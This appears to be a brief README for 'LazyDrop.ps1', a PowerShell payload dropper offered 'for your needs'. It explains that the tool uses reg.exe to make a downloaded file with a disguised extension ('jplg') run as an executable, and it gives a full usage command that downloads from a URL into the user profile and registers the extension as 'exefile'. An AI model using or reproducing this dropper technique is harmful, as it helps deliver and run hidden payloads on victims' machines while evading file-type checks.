this is a payload droper ps1 script for your needs
use reg.exe to make the obsolete ext given to the file when downloaded execute the file properly with
its correct extension
.\LazyDrop.ps1 -Url "https://example.com/file" -EnvVariable "USERPROFILE" -FileType "jplg" -RegistryEntry "exefile"